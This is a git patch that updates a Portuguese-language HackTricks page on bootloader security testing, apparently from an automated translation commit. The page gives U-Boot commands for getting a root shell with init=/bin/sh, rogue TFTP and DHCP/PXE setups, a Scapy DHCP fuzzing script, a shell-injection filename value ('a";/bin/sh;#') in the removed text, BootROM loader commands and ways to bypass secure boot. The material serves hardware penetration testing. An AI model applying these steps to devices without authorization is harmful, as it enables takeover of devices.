From a12863cfb2d4789efdd33a0dc71e5e041a3e24da Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:16:31 +0000 Subject: [PATCH] Translated ['', 'src/hardware-physical-access/firmware-analysis/bootload --- .../firmware-analysis/bootloader-testing.md | 134 ++++++++++++++---- 1 file changed, 104 insertions(+), 30 deletions(-) diff --git a/src/hardware-physical-access/firmware-analysis/bootloader-testing.md b/src/hardware-physical-access/firmware-analysis/bootloader-testing.md index 28b919f74..76f6ad70a 100644 --- a/src/hardware-physical-access/firmware-analysis/bootloader-testing.md +++ b/src/hardware-physical-access/firmware-analysis/bootloader-testing.md @@ -1,52 +1,126 @@ +# Testes de Bootloader + {{#include ../../banners/hacktricks-training.md}} -Os seguintes passos são recomendados para modificar as configurações de inicialização do dispositivo e bootloaders como U-boot: +Os passos a seguir são recomendados para modificar configurações de inicialização do dispositivo e testar bootloaders como U-Boot e loaders da classe UEFI. Foque em obter execução de código cedo, avaliar proteções de assinatura/rollback e abusar de caminhos de recuperação ou boot pela rede. -1. **Acessar o Shell do Interpretador do Bootloader**: +## U-Boot: dicas rápidas e abuso do ambiente -- Durante a inicialização, pressione "0", espaço ou outros "códigos mágicos" identificados para acessar o shell do interpretador do bootloader. +1. Acessar o shell do interpretador +- Durante o boot, pressione uma tecla de interrupção conhecida (frequentemente qualquer tecla, 0, espaço, ou uma sequência "mágica" específica da placa) antes que `bootcmd` seja executado para cair no prompt do U-Boot. -2. **Modificar Argumentos de Inicialização**: +2. Inspecionar estado de boot e variáveis +- Comandos úteis: +- `printenv` (dump do environment) +- `bdinfo` (informações da board, endereços de memória) +- `help bootm; help booti; help bootz` (métodos suportados de boot de kernel) +- `help ext4load; help fatload; help tftpboot` (loaders disponíveis) -- Execute os seguintes comandos para adicionar '`init=/bin/sh`' aos argumentos de inicialização, permitindo a execução de um comando shell: -%%% -#printenv -#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh -#saveenv -#boot -%%% +3. Modificar argumentos de boot para obter um shell root +- Acrescente `init=/bin/sh` para que o kernel abra um shell ao invés do init normal: +``` +# printenv +# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype= init=/bin/sh' +# saveenv +# boot # ou: run bootcmd +``` -3. **Configurar Servidor TFTP**: +4. Netboot do seu servidor TFTP +- Configure a rede e busque um kernel/fit image da LAN: +``` +# setenv ipaddr 192.168.2.2 # device IP +# setenv serverip 192.168.2.1 # TFTP server IP +# saveenv; reset +# ping ${serverip} +# tftpboot ${loadaddr} zImage # kernel +# tftpboot ${fdt_addr_r} devicetree.dtb # DTB +# setenv bootargs "${bootargs} init=/bin/sh" +# booti ${loadaddr} - ${fdt_addr_r} +``` -- Configure um servidor TFTP para carregar imagens através de uma rede local: -%%% -#setenv ipaddr 192.168.2.2 #IP local do dispositivo -#setenv serverip 192.168.2.1 #IP do servidor TFTP -#saveenv -#reset -#ping 192.168.2.1 #verificar acesso à rede -#tftp ${loadaddr} uImage-3.6.35 #loadaddr pega o endereço para carregar o arquivo e o nome do arquivo da imagem no servidor TFTP -%%% +5. Persistir alterações via environment +- Se o armazenamento do env não estiver write-protected, você pode persistir o controle: +``` +# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}' +# saveenv +``` +- Verifique variáveis como `bootcount`, `bootlimit`, `altbootcmd`, `boot_targets` que influenciam caminhos de fallback. Valores mal configurados podem permitir repetidas quebras para o shell. -4. **Utilizar `ubootwrite.py`**: +6. Verificar recursos de debug/inseguros +- Procure por: `bootdelay` > 0, `autoboot` desabilitado, `usb start; fatload usb 0:1 ...` sem restrições, capacidade de `loady`/`loads` via serial, `env import` de mídia não confiável, e kernels/ramdisks carregados sem checagens de assinatura. -- Use `ubootwrite.py` para gravar a imagem do U-boot e enviar um firmware modificado para obter acesso root. +7. Teste de imagem/verificação do U-Boot +- Se a plataforma afirma secure/verified boot com FIT images, teste tanto imagens unsigned quanto adulteradas: +``` +# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced +# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL +# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted +``` +- A ausência de `CONFIG_FIT_SIGNATURE`/`CONFIG_(SPL_)FIT_SIGNATURE` ou o comportamento legado `verify=n` frequentemente permite boot de payloads arbitrários. -5. **Verificar Recursos de Depuração**: +## Superfície de boot pela rede (DHCP/PXE) e servidores maliciosos -- Verifique se recursos de depuração como registro detalhado, carregamento de kernels arbitrários ou inicialização de fontes não confiáveis estão habilitados. +8. Fuzzing de parâmetros PXE/DHCP +- O tratamento legacy BOOTP/DHCP do U-Boot já apresentou problemas de segurança de memória. Por exemplo, CVE‑2024‑42040 descreve divulgação de memória via respostas DHCP forjadas que podem leak bytes da memória do U-Boot de volta na rede. Exercite os caminhos de código DHCP/PXE com valores excessivamente longos/casos de borda (option 67 bootfile-name, vendor options, file/servername fields) e observe travamentos/leaks. +- Snippet mínimo em Scapy para pressionar parâmetros de boot durante o netboot: +```python +from scapy.all import * +offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/ +IP(src='192.168.2.1', dst='255.255.255.255')/ +UDP(sport=67, dport=68)/ +BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/ +DHCP(options=[('message-type','offer'), +('server_id','192.168.2.1'), +# Intentionally oversized and strange values +('bootfile_name','A'*300), +('vendor_class_id','B'*240), +'end'])) +sendp(offer, iface='eth0', loop=1, inter=0.2) +``` +- Também valide se os campos de filename do PXE são passados para a lógica do shell/loader sem sanitização quando encadeados a scripts de provisionamento do lado do OS. -6. **Interferência Cautelosa de Hardware**: +9. Teste de injeção de comandos via servidor DHCP/PXE malicioso +- Monte um serviço DHCP/PXE malicioso e tente injetar caracteres nos campos filename ou options para alcançar interpretadores de comando em estágios posteriores da cadeia de boot. O auxiliary DHCP do Metasploit, `dnsmasq`, ou scripts Scapy customizados funcionam bem. Isole a rede do laboratório antes de testar. -- Tenha cuidado ao conectar um pino ao terra e interagir com chips SPI ou NAND flash durante a sequência de inicialização do dispositivo, especialmente antes da descompressão do kernel. Consulte o datasheet do chip NAND flash antes de encurtar pinos. +## Modos de recuperação BootROM de SoC que substituem o boot normal -7. **Configurar Servidor DHCP Malicioso**: -- Configure um servidor DHCP malicioso com parâmetros prejudiciais para um dispositivo ingerir durante uma inicialização PXE. Utilize ferramentas como o servidor auxiliar DHCP do Metasploit (MSF). Modifique o parâmetro 'FILENAME' com comandos de injeção de comando como `'a";/bin/sh;#'` para testar a validação de entrada para procedimentos de inicialização do dispositivo. +Muitos SoCs expõem um modo de BootROM "loader" que aceitará código por USB/UART mesmo quando imagens em flash são inválidas. Se eFuses de secure-boot não estiverem queimados, isso pode fornecer execução arbitrária de código muito cedo na cadeia. -**Nota**: Os passos que envolvem interação física com os pinos do dispositivo (\*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danos ao dispositivo. +- NXP i.MX (Serial Download Mode) +- Tools: `uuu` (mfgtools3) or `imx-usb-loader`. +- Example: `imx-usb-loader u-boot.imx` to push and run a custom U-Boot from RAM. +- Allwinner (FEL) +- Tool: `sunxi-fel`. +- Example: `sunxi-fel -v uboot u-boot-sunxi-with-spl.bin` or `sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000`. +- Rockchip (MaskROM) +- Tool: `rkdeveloptool`. +- Example: `rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin` to stage a loader and upload a custom U-Boot. + +Avalie se o dispositivo tem eFuses/OTP de secure-boot queimados. Caso contrário, modos de download do BootROM frequentemente contornam qualquer verificação de nível superior (U-Boot, kernel, rootfs) executando seu payload de primeira fase diretamente em SRAM/DRAM. + +## UEFI/bootloaders para PCs: verificações rápidas + +10. Manipulação do ESP e testes de rollback +- Monte a EFI System Partition (ESP) e verifique por componentes do loader: `EFI/Microsoft/Boot/bootmgfw.efi`, `EFI/BOOT/BOOTX64.efi`, `EFI/ubuntu/shimx64.efi`, `grubx64.efi`, caminhos de logo do vendor. +- Tente bootar com componentes de boot assinados degradados ou conhecidos vulneráveis se revocações do Secure Boot (dbx) não estiverem atualizadas. Se a plataforma ainda confiar em shims/bootmanagers antigos, você frequentemente pode carregar seu próprio kernel ou `grub.cfg` a partir do ESP para ganhar persistência. + +11. Bugs de parsing de logo de boot (classe LogoFAIL) +- Diversos firmwares OEM/IBV foram vulneráveis a falhas de parsing de imagens em DXE que processam logos de boot. Se um atacante puder colocar uma imagem craftada no ESP sob um caminho específico do vendor (por exemplo, `\EFI\\logo\*.bmp`) e reiniciar, a execução de código durante o early boot pode ser possível mesmo com Secure Boot habilitado. Teste se a plataforma aceita logos fornecidos pelo usuário e se esses caminhos são graváveis a partir do OS. + +## Cuidados com hardware + +Seja cauteloso ao interagir com SPI/NAND flash durante o early boot (por exemplo, aterrar pinos para contornar leituras) e sempre consulte o datasheet do flash. Curtos mal cronometrados podem corromper o dispositivo ou o programador. + +## Notas e dicas adicionais + +- Tente `env export -t ${loadaddr}` e `env import -t ${loadaddr}` para mover blobs de environment entre RAM e storage; algumas plataformas permitem importar env de mídia removível sem autenticação. +- Para persistência em sistemas Linux que bootam via `extlinux.conf`, modificar a linha `APPEND` (para injetar `init=/bin/sh` ou `rd.break`) na partição de boot frequentemente é suficiente quando não há checagens de assinatura. +- Se o userland fornece `fw_printenv/fw_setenv`, valide que `/etc/fw_env.config` corresponda ao armazenamento real do env. Offsets mal configurados permitem ler/escrever a região MTD errada. ## Referências - [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) +- [https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot](https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot) +- [https://nvd.nist.gov/vuln/detail/CVE-2024-42040](https://nvd.nist.gov/vuln/detail/CVE-2024-42040) {{#include ../../banners/hacktricks-training.md}}